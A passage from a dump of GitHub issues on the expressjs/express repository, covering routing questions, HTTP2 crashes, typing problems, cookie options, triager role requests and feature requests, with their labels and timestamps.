Within `company.js`, I have two routes configured: 

- `router.get(/:company_id`, ... ) (corresponding to `/company/:company_id`) 

- `router.get(/all`, ... )                 (corresponding to `/company/all`). 

When making an API call to `/company/all`, it unexpectedly redirects to `/:company_id`,  and is executing its logic. 

I've observed that the regex of `/:company_id` is `/^\/(?:([^\/]+?))\/?$/i`, matching routes with no parameters. 
Rearranging the routes, I have resolved this by simply placing `/:company_id` at the end. 

I'm not sure if this behavior is patched or requires a different approach.","question,module:router",2023-12-09T15:09:53Z,2023-12-09T15:55:41Z,2
expressjs/express,2031851193,HTTP2 insecure server crashes every time.,"I am trying to write an insecure HTTP2 web server. However it crashes on any inputs.

I need an insecure HTTP2 server. Here's my code:

```typescript
import { createServer } from 'node:http2';

import createExpressApp from 'express';
import http2ExpressBridge from 'http2-express-bridge';

// Test with: curl --insecure -v -k --http2-prior-knowledge ""http://[::]:8080""
function main(): void {
  const app = http2ExpressBridge(createExpressApp);

  app.get('*', (request, response) => {
    response.setHeader('Content-Type', 'text/plain');
    response.status(200);
    response.write('Server reached');
    response.end();
  });

  const server = createServer(app);

  server.listen({ port: 8080 });

  // Triggered by CMD/CTRL + C .
  process.on('SIGINT', () => {
    server.close();
    process.exit(0);
  });
}

try {
  main();
} catch (error) {
  console.error(error);
  process.exit(1);
}
```

I'm testing using ` curl --insecure -v -k --http2-prior-knowledge ""http://[::]:8080""`

Every time I execute it, the server crashes with:

```text
> tsx src/example/http2BugRepro.ts

node:events:492
      throw er; // Unhandled 'error' event
      ^

TypeError: Cannot read properties of undefined (reading 'readable')
    at IncomingMessage._read (node:_http_incoming:214:19)
    at Readable.read (node:internal/streams/readable:547:12)
    at resume_ (node:internal/streams/readable:1048:12)
    at process.processTicksAndRejections (node:inter... [TRUNCATED]","awaiting more info,http2",2023-12-08T03:04:59Z,2025-03-28T19:41:18Z,10
expressjs/express,2025301593,Can express req.headers[x] be an array?,"@types/express indicates that various specified headers may be strings or undefined, but also that it may have other entries, which may be strings or arrays of strings.
```ts
 interface IncomingHttpHeaders extends NodeJS.Dict<string | string[]> {
    accept?: string | undefined;
    ""accept-language""?: string | undefined;
    ""accept-patch""?: string | undefined;
    ...
}
```
Is this typing correct? Are there any circumstances where express would add arrays to the headers list?

If so, what form would the content of these arrays be, and how could they be combined safely into a single string?

Thanks.",,2023-12-05T05:11:01Z,2023-12-05T05:20:04Z,2
expressjs/express,2017103284,Input Validation for Request Parameters,"The `req.param` function lacks strict input validation for parameter names and default values. This makes the application susceptible to various attacks, including SQL injection and XSS. To enhance security, we should implement strict input validation using the `validator` library.

## Changes Proposed:

- Use the `validator` library to validate and sanitize user inputs for parameter names and default values.
- Throw a `TypeError` if an invalid parameter name or default value is detected.",,2023-11-29T17:40:17Z,2023-11-29T17:48:26Z,4
expressjs/express,2013000992,force leading slash with middleware,"I come after this:
https://github.com/expressjs/express/commit/ef497fdae413f85362d319436cf113edf6320677#diff-f7dc29b565d7b8578bbabcd36d010c1eb95527acd5f1395bf3e1a2d4506360c5R425-R437

This seems to be the intended default behavior but in my case I really need namespace. If I let user query /user instead of /user/ path of css are wrong. I know of https://developer.mozilla.org/fr/docs/Web/HTML/Element/base or maybe other way to specify in html. I don't know specific header in http to update this.

I serve content I have no control over (so I can modify on the fly but would like to avoid overhead). I can't imagine a way to use a redirection ? because / in the router match no /. I have enabled strict routing (tried both syntax just in case I did a typo: `app.set('strict routing', true);` and `app.enable('strict routing');`)",,2023-11-27T20:01:00Z,2024-09-02T16:59:41Z,2
expressjs/express,2011046994,Enhance error handling middleware with custom handlers and logging,"# Description:
The current error handling middleware in Express provides a basic mechanism for capturing and responding to errors. However, it could be enhanced to offer more flexibility and control in handling different types of errors and providing more informative error responses.

# Proposed Changes:

## Introduce Custom Error Handlers:

- Implement a mechanism to define custom error handlers for specific error types or codes.
- Allow associating custom error handlers with specific routes or request methods.

## Enhanced Error Logging:

- Integrate a logging mechanism to capture error details, including error messages, stack traces, and relevant request information.
- Provide options to configure the logging level (debug, info, error) and specify the logging destination (console, file, external service).
## Improved Error Responses:

- Enable customizing the error response structure, including error codes, messages, and additional context information.
- Implement a mechanism to tailor error responses based on the error type or request context.

# Benefits:

- Enhanced error handling capabilities for more robust and granular error management.
- Improved error visibility and traceability through comprehensive error logging.
- Customizable error responses for more informative and user-friendly error communication.

# Additional Considerations:

- Maintain compatibility with existing error handling mechanisms.
- Provide clear documentation for conf... [TRUNCATED]",awaiting more info,2023-11-26T13:42:07Z,2023-11-26T13:50:16Z,2
expressjs/express,2008652510,Cannot route to a specific route,"> This is the route that I want the express to route
```
app.use('/griev', require('./routes/api/grievance'));

app.all('*', (req, res) => {
    res.status(404);
    if (req.accepts('html')) {
        res.sendFile(path.join(__dirname, 'views', '404.html'));
    } else if (req.accepts('json')) {
        res.json({ ""error"": ""404 Not Found"" });
    } else {
        res.type('txt').send(""404 Not Found"");
    }
});
```
> This is my grievance api route

```
const express = require('express');
const router = express.Router();
const grievController = require('../../controllers/grievController');
const ROLES_LIST = require('../../config/roles_list');
const verifyRoles = require('../../middleware/verifyRoles');

console.log(""griev route"")

if (verifyRoles(ROLES_LIST.User)) {
    router.post(grievController.createIssue);
}
else
    console.log(""could not verify"");


module.exports = router;
```
**All I get is 404 error whenever I make a post request to ```/griev``` route** ",question,2023-11-23T18:11:28Z,2023-11-25T14:26:00Z,2
expressjs/express,2005280456,res.send add extra bytes streaming a binary file,"Hi, Express newbie here. I'm using `Express 4.18.2` served via `Netlify Functions`, and I'm trying to return a static jpeg image from an endpoint.
When I'm consuming the endpoint, the image results corrupted. After some investigations I found that some extra bytes are added in the beginning. 
As example:
![trailing bytes](https://github.com/expressjs/express/assets/379999/a4466d88-c019-4577-a327-05d2415fa3a8)

I tried with `res.sendFile` and `res.send([Buffer])`. My current solution is to return the image as base64, but it's not an optimal solution.
I think there is something I don't understand, could someone help?

```
import express, { Router } from ""express"";
import serverless from ""serverless-http"";

const api = express();
const router = Router();

router.get(""/image-send"", (req, res) => {
  const filePath = path.join(__dirname, 'data', image);

  let fb = fs.readFileSync(filePath);

  // the file is read correctly, the bytes are matching
  console.log(fb[0], fb[1], fb[2], fb[3], fb[4]) => 255 216 255 224 0 / FF D8 FF E0 00

  res.set('Content-Type', 'image/jpeg')
  // the file received by the browser (Chrome) or Postman are corrupted, due to extra trailing bytes 
  res.send(fb);
});

router.get(""/image-sendFile"", (req, res) => {
  const filePath = path.join(__dirname, 'data', image);

  // the file received by the browser (Chrome) or Postman are corrupted, due to extra trailing bytes 
  res.sendFile(filePath);
});

api.use(""/api/"", rout... [TRUNCATED]",,2023-11-21T22:54:10Z,2023-11-21T23:13:17Z,6
expressjs/express,1999313078,Specific route body size limitations do not override the global configuration,"Hello,

In our application, we have a global body size limitation for all incoming requests, which we set like this:
```
// All requests are limited to 2mb
app.use(express.json({ limit: '2mb' }));
```

If we wanted to have a different body size limitation for a specific route, we would need to set it like this:
```
// Requests to /test are limited to 5mb, all other requests are limited to 2mb
app.use('/test', express.json({ limit: '5mb' }));
app.use(express.json({ limit: '2mb' }));
```

If we pushed the line below the global setting, it does not work as the global limitation is not overridden:
```
// All requests are limited to 2mb
app.use(express.json({ limit: '2mb' }));
app.use('/test', express.json({ limit: '5mb' }));
```

Would it be possible to somehow override the global setting if a specific route has a different setting and is set after the global one?
Ideally, it would be awesome to have this limitation as a middleware that we could pass to the route middleware array. Not really sure if that's possible right now. Here's what I'm talking about:
```
// Requests to /test are limited to 5mb, all other requests are limited to 2mb
app.use(express.json({ limit: '2mb' }));

const router = express.Router();

router.get('/test', [express.json({ limit: '5mb' })], (req, res, next) => {...});

app.use(router);
```",,2023-11-17T14:55:41Z,2023-11-20T09:41:31Z,3
expressjs/express,1999122429,req params in app.use are not working.,"I'm working on a very large-scale project that uses **Express v4.18.2**. Routes are defined as follows

_routes/index.ts_
```js
router.use(""/users"", usersRouter);

router.use(""/users/:userId/permissions"", userPermissionsRoutes);
```

_routes/userPermissions.router.ts_
```ts
router.post(
  ""/"",
  permission.createUserPersmissions
);
```

When I try to access `userId` in the controller using `req.params.userId` it gives `undefined`.

Here is the partial console.log of the `req` object
```js
baseUrl: '/v2/users/ab3d20e9-deb2-46cc-bb36-3sadsadfsaed/permissions',
  originalUrl: '/v2/users/ab3d20e9-deb2-46cc-bb36-3sadsadfsaed/permissions',
  _parsedUrl: Url {
    protocol: null,
    slashes: null,
    auth: null,
    host: null,
    port: null,
    hostname: null,
    hash: null,
    search: null,
    query: null,
    pathname: '/',
    path: '/',
    href: '/',
    _raw: '/'
  },
  params: {},
  query: {},
```

Please tell me how can I access the params that are defined in `app.use`. ",,2023-11-17T13:22:46Z,2023-11-20T09:36:03Z,2
expressjs/express,1996367221,TypeError on accessing req.query in Express 5.0.0-beta.1,"Hello!

I've recently upgraded from Express 4 to Express 5 to take advantage of the new error handling with ""automatic"" promise rejection. It's been working great, but I've run into a snag with `req.query`. Despite following the migration notes for Express 5, I'm not having any luck.

package.json:
```
""dependencies"": {
    ...
    ""express"": ""^5.0.0-beta.1""
}
```
I've also manually added the `qs` module and set it up like this, but the outcome hasn't changed:
`app.set('query parser', (str) => qs.parse(str))`

My route is set up as follows:
```
var protected = express.Router()
protected.get('/', keycloak.protect(), async function (req, res) {
        console.log(req.query)
        return res.json({})
})
```

However, I get an error at `console.log(req.query)`, and the stack trace is:
```
TypeError: this.app.get is not a function
at IncomingMessage.query (/app/node_modules/express/lib/request.js:219:29)
at /app/server/routes/assetsRoutes.js:83:25
at Layer.handleRequest (/app/node_modules/router/lib/layer.js:101:15)
at next (/app/node_modules/router/lib/route.js:142:13)
at protect (/app/node_modules/keycloak-connect/middleware/protect.js:54:16)
at Layer.handleRequest (/app/node_modules/router/lib/layer.js:101:15)
at next (/app/node_modules/router/lib/route.js:142:13)
at Route.dispatch (/app/node_modules/router/lib/route.js:107:3)
at handle (/app/node_modules/router/index.js:421:11)
at Layer.handleRequest (/app/node_modules/router/lib/layer.js:... [TRUNCATED]",,2023-11-16T08:50:08Z,2023-11-20T11:25:00Z,1
expressjs/express,1989754762,How can I catch client error event?,"Can I catch client error event like POST, PUT, etc?

I should catch client error like timeout, disconnect.

So I tried like below in log middleware.

```
req.on(""error"", (error:Error) => {
      logger.error(""Request Error : "", error);  
    });
```

With GET method, it worked

```
Error: aborted
at connResetException (node:internal/errors:704:14)
at abortIncoming (node:_http_server:625:17)
at socketOnClose (node:_http_server:619:3)
at Socket.emit (node:events:525:35)
at TCP.<anonymous> (node:net:757:14)
```

But with other method, it did not work..

This is my testcode in server. For test with timeout, I use sleep.

```
this.router.post(`/test`, async(req:Request,res:Response)=>{
      await sleep(100)
      res.status(200).send()
    });
```

I'm using express 4.18 and node version 18

",,2023-11-13T02:11:16Z,2024-09-02T16:45:27Z,1
expressjs/express,1989091771,Request triager role for mustafamengutay,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-11-11T19:30:57Z,2024-04-11T04:43:36Z,1
expressjs/express,1978600939,Request triager role for htmujahid,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

express",,2023-11-06T08:47:16Z,2024-04-11T04:47:37Z,1
expressjs/express,1953607623,Report,"Why is expressjs still using debug@2.6.9 ? Security scans show that this version is vulnerable to CWE-401 and CWE-1333.
Please update to latest version.",,2023-10-20T06:14:12Z,2023-10-20T06:28:26Z,1
expressjs/express,1953228870,Get Request 404 Error,"I am receiving a 404 Not Found error in the browser for a get request. I have gone over my code several times but I still can't see what the issue is.  

The get request for the root file is working fine. The get request for path /stock is giving me the 404.

Here is my server.js file, and below that is the ticker-router.js file for path ""/stock"". 

Any help would be much appreciated.


```js
import express from 'express';
import router from '../ticker-router.js';
import routerM from '../home-router.js';
const PORT = process.env.PORT || 3000;
const app = express();

app.use(express.static(""dist""));

app.use((req, res, next) => {
res.header(""Access-Control-Allow-Origin"", ""*"");
next();
});

app.use(express.json());
app.use(""/"", routerM);
app.use(""/stock"", router);


app.listen(PORT, () => {
    console.log(""Proxy listening on port:"", PORT);
});
```


```js
import express from ""express"";
import path from ""path"";
const router = express.Router();

router.get(""/stock"", (req, res, next) => {
  return res.sendFile(path.join(""C:/Desktop/Ticqer"", ""/dist/ticker.html""));
});

export default router
```


",question,2023-10-19T23:55:01Z,2023-11-27T08:43:47Z,5
expressjs/express,1943851467,Node:fs disturbs Express?,"I cant use node:fs.readdir() in express.

i want to use `readdir()` to load routes automatically, but i find that it is ok when run dev and Not Found when access the route.

whats a problem? is it because i dont have a deep understanding of whats the effect of `readdir()` or `readdir()` cant be used like this?

the main code is following:

app.js
```
const {useRouter} = require('./routes/index')
useRouter(app)
```
./routes/index
```
const { readdir} = require('node:fs/promises')
const user = require('./user')

const useRouter = async function(app) {
    // Not Found when access the route
    await readdir(__dirname)
    
    app.use(user.path, user.router)
}

module.exports = {
    useRouter
}
```
./user
```
const express = require('express')

const path = '/user'
const router = express.Router()

router.get('/login', (req, res) => {
    res.json({
        msg: 'logined'
    })
})

module.exports = { path, router }
```",,2023-10-15T11:30:09Z,2023-10-31T08:47:36Z,2
expressjs/express,1940820087,Bun Integration with Express,"Upon witnessing the remarkable advancements in memory usage and the viral adoption of Bun's exceptional speed, alongside the invaluable support with **fs**, **HTTP**, **path**, **MongoDB** methods, and essential express functionalities, I have a question.

When can we expect the utilization of complex express projects with Bun, as a viable alternative to Node.js? As I employ the MVC pattern, I have encountered numerous bugs when running express alongside Bun. Therefore, I kindly urge you to prioritize the integration of your esteemed library within Bun, acknowledging their competitive nature as alternatives to each other.

![bun](https://github.com/expressjs/express/assets/93044377/4b8e8e25-75dc-40a0-aaad-0f4f531a61fd)
",,2023-10-12T21:29:33Z,2023-10-12T21:33:04Z,1
expressjs/express,1936424782,Unable to create Partitioned cookie,"The Partitioned attribute is not set when passing the option to res.cookie(). 

https://developer.chrome.com/docs/privacy-sandbox/third-party-cookie-phase-out/#partitioned-cookies",enhancement,2023-10-10T23:03:18Z,2026-01-17T04:07:17Z,23
expressjs/express,1923463995,Oddly post route sometimes not found.,"I honestly have the weirdest thing going on. My routes worked perfectly until...

Lucky luke on this one cause im lost. Like I checked even if the route is properly passed and it all matches, it has been working so far for about a 100k requests I dont see why the sudden issue rises...

All I did was add next() on the Route File in *watch()* at the end before returning undefined.

Base App file:
https://pastebin.com/d8nHHzP4

Route File (Path fail origin)
https://pastebin.com/erZyRAUp

Once that was added about 20% of post requests were 404 not found.
",,2023-10-03T07:08:13Z,2023-12-12T11:07:42Z,3
expressjs/express,1885835606,res.json,"in the response.js / strinigify function
at the line 1148
--var json = replacer || spaces
      ? JSON.stringify(value, replacer, spaces)
      : JSON.stringify(value);
when we set ('json spaces',0) and replacer null
this logical operator returning "":JSON.stringify(value)""
0 is false for v8 engine
we want to remove line indentation.",,2023-09-07T12:53:18Z,2023-09-07T14:05:46Z,3
expressjs/express,1863511921,How to contribute in open source in express. Js,"I recently started learning express. js , I need guidance about how to contribute in express. Js projects. ",,2023-08-23T14:58:38Z,2023-08-31T09:06:02Z,1
expressjs/express,1861661031,React Failed to decode param,"Hi ,
I have a problem with express, when enter the following url : http://localhost:3000/% i get the error : Failed to decode param.
I use react.

`URIError: Failed to decode param '/%'
    at decodeURIComponent (<anonymous>)
    at decode_param (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/layer.js:172:12)
    at Layer.match (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/layer.js:123:27)
    at matchLayer (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:585:18)
    at next (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:226:15)
    at expressInit (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/middleware/init.js:40:5)
    at Layer.handle [as handle_request] (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:328:13)
    at /Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/Users/yassir./workspace/OnboardingFleet/node_modules/webpack-dev-server/node_modules/express/... [TRUNCATED]",,2023-08-22T15:02:36Z,2024-09-02T16:56:44Z,4
expressjs/express,1861178806,Request triager role for etroynov,"Hi folks,

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-08-22T10:36:49Z,2024-04-11T04:47:03Z,1
expressjs/express,1857328936,MIME Type error for static directory.,"Hey so i have a strange problem. I have two react apps on the same express server that I'm serving as two different routes using app.use('/', express.static('./path_to_app')); and app.use('/map', express.static('./path_to_app_two'). there are a lot of other things going on with the express server and everything runs fine accept one react app works fine and the second one, well call map here, is sending css and js files with the wrong MIME type. Let me know what you want to see posted and I can supply it, or if this is a common issue aswell let me know. I have cleaned my cache and reinstalled all required modules. Its just strange that the same code works for one app but not the other.",,2023-08-18T21:53:02Z,2024-07-18T18:28:50Z,2
expressjs/express,1846076068,Missing contact info for maintainer,"@dougwilson it looks you're the maintainer, what's the best method to contact you. Via the email address you use in commits?",,2023-08-11T01:22:37Z,2023-08-11T01:25:17Z,2
expressjs/express,1838061303,timeout abnormal ,"when i use node:18.13.0 and express:4.18.2 to upload file, Uploading will fail between 5 minutes and 6 minutes.
Firstly, response will emit ""close"". Secondly, request will be aborted.
",,2023-08-06T05:47:39Z,2025-07-12T19:16:52Z,3
expressjs/express,1837820740,Cannot read properties of undefined (reading 'prototype')  on Object.create(http.ServerResponse.prototype)`,"using ""express"": ""^4.18.2"", to run my website but it gives error as below

```
Uncaught TypeError: Cannot read properties of undefined (reading 'prototype')
    at Object.<anonymous> (response.js:43:45)
    at a (index.2a3db62f.js:1:455)
    at Object.<anonymous> (index.2a3db62f.js:1:768)
    at a (index.2a3db62f.js:1:455)
    at index.js:11:1
```

and it takes us to this line

`var res = Object.create(http.ServerResponse.prototype)`


check here: https://www.recursivezero.com/  and click on any page , it is not navigating because of this error.
",,2023-08-05T15:57:47Z,2023-08-05T16:00:20Z,3
expressjs/express,1828436020,static can not support heic image file,"file:
static/css/b.heic
```
app.use(express.static(szSSP, expressOptions));
// content-type:image/heic
```
now can not found
https://127.0.0.1:2222/css/b.heic


",,2023-07-31T05:29:34Z,2023-08-02T07:46:02Z,0
expressjs/express,1825221019,Cookie maxAge option should be seconds not milliseconds,"Why does Express's cookie `maxAge` option require milliseconds when IETF spec says, ""The Max-Age attribute defines the lifetime of the cookie, in seconds."" Express should conform to the standard, no?",,2023-07-27T20:58:52Z,2023-07-27T21:04:31Z,3
expressjs/express,1818893192,Strange issue running Express.js under Deno,"I have found the weirdest bug in an application using Express.js running under Deno: In short, **static files aren't returned. This works under Node.js but not under Deno.**

I've created a sample project containing a ""witness"" project running the same code under Node.js without any problems. I actually don't know whether this is an Express.js issue, or a Deno problem, or something wrong with my application.

[https://gitlab.com/akosma/express_node_deno](https://gitlab.com/akosma/express_node_deno/)

If this issue is related to Deno, feel free to close it.

Related issue: https://github.com/denoland/deno/issues/19927",,2023-07-24T18:08:34Z,2023-07-25T05:50:08Z,2
expressjs/express,1810163977,Can't use custom type for Request and Response objects in Express 5,"Hi. I am trying to use a custom middleware which injects the users company in either the request or response objects. I **don't want** to use `declare global` for this, as not all of my requests in the app will use this custom middleware. I tried a couple of things, and everything gives me some sort of typescript error

```
export interface CompanyReq extends Request {
    company: Company;
}

export default function (companyRepository: CompanyRepository) {
    return async (req: CompanyReq, _res: Response, next: NextFunction) => {
        const company = await companyRepository.findByAccountId(req.user.id);
        if (!company) {
            throw new CompanyNotFound();
        }
        req.company = company;
        next();
    };
}
```

```
this.router.get(
            ""/"",
            [hasCompany(companyRepository)],
            this.getCompany
        );
```

I also tried all of these interfaces: 

```
export interface CompanyReq extends Request {
    company: Company;
}

export interface MyResp extends Response {
    locals: {
        company: Company;
    };
}

interface ResLocals extends Record<string, any> {
    company: Company;
}

export interface Responsee<ResBody = any, Locals extends Record<string, any> = Record<string, any>>
    extends core.Response<ResBody, Locals> {

    locals: ResLocals & Locals;
}

export interface Responseeee extends Response {
    locals: Record<""company"", ResLocals>;
}
```

Nothi... [TRUNCATED]",,2023-07-18T15:24:40Z,2024-09-10T13:31:46Z,3
expressjs/express,1809809589,Routing path match is different in app.use('/') and router.get('/'),"This is probably more of a question than a bug.

In app.mjs I have this code:

```
import indexRouter from ""./routes/index.mjs"";
import anotherRouter from ""./routes/another.mjs"";
const app = express();
app.use(""/"", indexRouter);
app.use(""/another"", anotherRouter);
```

In indexRouter I have two  methods:

```
router.get('/', someFunction);
router.get('/:anything', someFunction);
```

Calling 'GET /another' would route to my indexRouter, because in there I have one matching method with dynamic param like ""/:anything"". So far I understand, that the request is not routed to anotherRouter, because according the documentation the path ""/"" is translated to regex ""/."" where dot means anything. So the solution for me is to put the the app.use(""/another"", anotherRouter) before the indexRouter.

But I don't understand, why this request is not routed to my router.get('/', someFunction), but instead it is routed to router.get('/:anything', someFunction). From the behaviour of path matching in app.use I would expect the same in router.get, so that ""/"" translates to regex ""/.""

Can somebody please explain this behaviour to me?

Thanks very much.",,2023-07-18T12:17:03Z,2023-07-20T21:15:24Z,2
expressjs/express,1794125610,Request > Autoreload the specific route on Changes,"Express is my Favorite Middleware for node js.
I think this one lacks the automatic reloading of those routes that were modified. It is a great feature and would save us from having to restart the entire application with each change. I did not find someone who has consulted it but for that same reason I raise it.",,2023-07-07T19:35:14Z,2024-11-05T10:51:37Z,5
expressjs/express,1765412521,Getting an output: Server started on PORT:4000 in undefined node,"This is server.js

const dotenv = require('dotenv');
dotenv.config({path: './config/config.env'});

const PORT = process.env.port || 4000;
const app = require('./app');

app.listen(PORT, ()=>{
  console.log(`Server started on PORT:${PORT} in ${process.env.NODE_ENV} node.`);
})",question,2023-06-20T13:27:36Z,2023-11-28T20:22:43Z,4
expressjs/express,1762242080,Creating a custom framework of express,Hello i want to make a framework based off express like in the docs where theses frameworks do. [link](https://expressjs.com/en/resources/frameworks.html) but how are they using express under the hood.,,2023-06-18T11:10:31Z,2024-11-12T11:58:16Z,4
expressjs/express,1751382015,Server started on PORT : undefined in DEVELOPMENT node.,"`const` app = require('./app');

const dotenv = require('dotenv');

dotenv.config({path: 'backend/config/config.env'});

app.listen(process.env.PORT, ()=>{

    console.log(`Server started on PORT:${process.env.PORT} in ${process.env.NODE_ENV} node.`);

})`",,2023-06-11T11:27:48Z,2024-01-19T06:40:07Z,22
expressjs/express,1751156511,Use of name 'express' in JSX template engine name,"I'm soon to release a JSX based template engine for Express (powered by [NakedJSX](https://nakedjsx.org)), and I've tentatively named it @nakedjsx/express-jsx. I have opened this issue to ask whether you are comfortable with this use of the name 'express'.

Of course, 'express-jsx' by itself wouldn't be appropriate as it would create confusion about who made it. But perhaps given that it would live under the @nakedjsx org, the name used in all practical contexts would be the combined '@nakedjsx/express-jsx' which I like because it makes two things clear:

1. It's not an official Express project
2. It's a thing made by @nakedjsx that probably adds JSX to Express.

What are your thoughts?",meta,2023-06-10T23:36:21Z,2025-02-21T17:30:09Z,3
expressjs/express,1744346886,"Literal ASCII record separator in a header value causes express to hang, return 400 bad request. ","Example: Submitting any header with a literal ASCII record separator inside (UTF16 \X1E, Decimal 30) causes Express to hang and return 400 bad request. 

Turning on express debug logging shows that, in fact, the express engine is stalled and no more logging is produced while a request is executing containing a header with a record separator. It doesn't matter which header it is. 
Later requests return OK. It's possible a flood of similar requests will prevent processing of others. 

Steps to reproduce:
- Use Runkit to generate a hello world Express environment: https://ghgohw6lep66.runkit.sh/ https://expressjs.com/en/starter/hello-world.html
- Use any API testing client (I used Talend) 
- GET / with a header like
- X-Any-Header-Name: Bearer email@example.comSpookyDomainWithARecordSeparator 
- Expected: 200 OK
- Actual: 400 Bad Request, no debug logging is produced and there is no evidence in request logs there was an attempt to reach this endpoint. 

",,2023-06-06T18:08:51Z,2023-06-06T18:12:29Z,1
expressjs/express,1740987652,Different destructuring behavior for req object for NodeJS version 16 and 14. ,[For this code](https://runkit.com/sakib-87/express-request-headers-destructuring). If runs with node-14 and older got the headers object but If runs with node-16 and newer don't get the headers object.,question,2023-06-05T05:19:34Z,2023-06-05T05:21:33Z,1
expressjs/express,1740474250,Express v5 blockers,"_I started writing this as a reply to https://github.com/expressjs/express/issues/4920#issuecomment-1575599117 but the issue was locked just before I finishing typing my comment._

@dougwilson Thanks for your continued work on express. I'm sorry you've had to deal with reports of bogus security vulnerabilities as well as folks who don't know better assuming that you've abandoned the project. I hope it doesn't get you down. ❤️

I do have a question re:
> reach out and I would be happy to Zoom with you or similar and we can work on the remaining items together, like see what you want to help with or hear what there is and you can let me know what you can do.

Are you open to the idea of enumerating the remaining work to be done in public, rather than in private Zoom calls, e.g. on this issue or another one?

It may seem like asking folks to get on a Zoom call is not a big ask, but time zones and other factors could make that a nontrivial barrier. Moreover, documenting this in a public issue would eliminate the need for repeating yourself over `N` Zoom calls.

The last update said:
> Express 5 is pretty much completed at this point, and we're just finishing up the last code merges in upstream modules in order to bump the dependencies finally in the 5.0 branch.

If this is still the case, perhaps you could provide more details about which modules are currently blocked and link to any relevant PRs/issues that are stalled. Even if you'd still prefer to for folks that ... [TRUNCATED]",meta,2023-06-04T16:53:07Z,2024-05-13T15:30:26Z,33
expressjs/express,1733002940,ErrorRequestHandler type not detected in VSCode,"In Typescript, with ""no implicit any"" setting, I am unable to use the custom error handling OOTB.  This appears to be an issue with the types.  The following produces errors in VSCode and tsc.

```
import express, { NextFunction } from 'express';

const expressApp = express();
expressApp.use((req, res, next) => {});
expressApp.use((err, req, res, next) => {});  //<--------problem
expressApp.use((err: any, req: any, res: any, next: NextFunction) => {});
```

There is a repo here: https://github.com/staplespeter/expressjs-bug-types-ErrorRequestHandler

In the code inspector in VSCode the RequestHandler type is displayed for the 3-arg version and RequestHandlerParams for the 4-param version of the possible arguments to use().

I have had a look at, and played around with the typedefs to no avail.
Please let me know if i have missed something or if the types are not correctly defined.
Thanks!",discuss,2023-05-30T20:58:18Z,2024-07-26T20:51:07Z,5
expressjs/express,1730491376,Request triager role for ehtisham2022skipq,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2023-05-29T10:15:57Z,2024-04-11T04:46:15Z,1
expressjs/express,1730251455,'res.sendFile' doesn't respect options described by the docs,"When using [res.sendFile](https://expressjs.com/en/4x/api.html#res.sendFile), seems that it respects only the `headers` option for the response, all caching and maxAge are being ignored.",,2023-05-29T07:38:23Z,2023-05-31T13:23:56Z,4
expressjs/express,1725990523,I'm receiving nothing in my body request instead of a json ,"import { PrismaHelper } from ""../infra/db/prisma/prisma"";
import app from './config/app'
import { exec } from 'node:child_process'

const main = async () => {
  const server = app.listen(process.env.PORT || 3030, () => {
    exec(""npx prisma migrate dev --name v4 && npx prisma db push"")
    console.log(`server is running on port ${process.env.PORT || 3030}`)
  })
  process.on('SIGTERM', () => {
    server.close(() => {
      PrismaHelper.$disconnect()
      process.exit(0)
    });
  });
}

main()
",,2023-05-25T14:56:15Z,2023-05-31T13:17:43Z,1
expressjs/express,1721076754,SyntaxError: Invalid regular expression during path-to-regexp conversion,"Hi there,

I've encountered an issue when using express with my Express.js/Express-OpenAPI application. This application was based on a fresh installation.

The error I'm facing is as follows:
```
C:\Users\Alex\Visual Studio Code\TestProject\CustomerService\api\node_modules\express\node_modules\path-to-regexp\index.js:128
  return new RegExp(path, flags);
         ^

SyntaxError: Invalid regular expression: /^\/customer\(?:([^\/]+?))\/?$/: Unmatched ')'
```

This error occurs when my application is starting up.

Here is my project structure:
```
C:.
│   app.js
│   package-lock.json
│   package.json
│
├───api
│   │   api-doc.js
│   │
│   └───paths
│       │   test.js
│       │
│       └───customer
│               customer.js
│               {id}.js
│
└───bin
        www
```

Here is my package.json
```json
{
  ""name"": ""customer-service"",
  ""version"": ""0.0.0"",
  ""private"": true,
  ""scripts"": {
    ""node"": ""nodemon app.js"",
    ""start"": ""node ./bin/www""
  },
  ""dependencies"": {
    ""cookie-parser"": ""~1.4.4"",
    ""debug"": ""~4.3.4"",
    ""dotenv"": ""^16.0.3"",
    ""express"": ""~4.18.2"",
    ""express-openapi"": ""^12.1.1"",
    ""morgan"": ""~1.10.0"",
    ""nodemon"": ""^2.0.20"",
    ""swagger-ui-express"": ""^4.6.1""
  }
}
```

Here is my code for the `test.js`, `customer.js`, and `customer/{id}.js`
```js
module.exports = function () {
    let operations = {
        GET,
    };

    async function GET(req, res, next) {
        cons... [TRUNCATED]",,2023-05-23T03:13:10Z,2023-05-23T03:24:19Z,1
expressjs/express,1714785057,Update multipart example or create new example for multer?,"Multer seems to be more up-to-date and is a popular choice for handling multipart data. I was wondering if the existing multipart example should be updated to use multer, or if there should be an example separate from the multiparty example? If so, I'd be more than happy to submit a PR for this.",examples,2023-05-17T23:42:37Z,2024-02-19T17:02:53Z,2
expressjs/express,1713306229,Feature Request: Add automatic Swagger UI generation to Express ,"Hello, folks 

I believe it would be beneficial to add a feature to the Express framework that automatically generates Swagger UI documentation. This feature is inspired by FastAPI, which includes Swagger UI automatically and offers several advantages in terms of API documentation, exploration, and ease of use.

Proposed Solution:
I suggest integrating a middleware or plugin into Express that generates Swagger UI documentation based on the defined routes and API specifications. This would allow developers to easily visualize and interact with the API endpoints during development and testing.

**Benefits**:

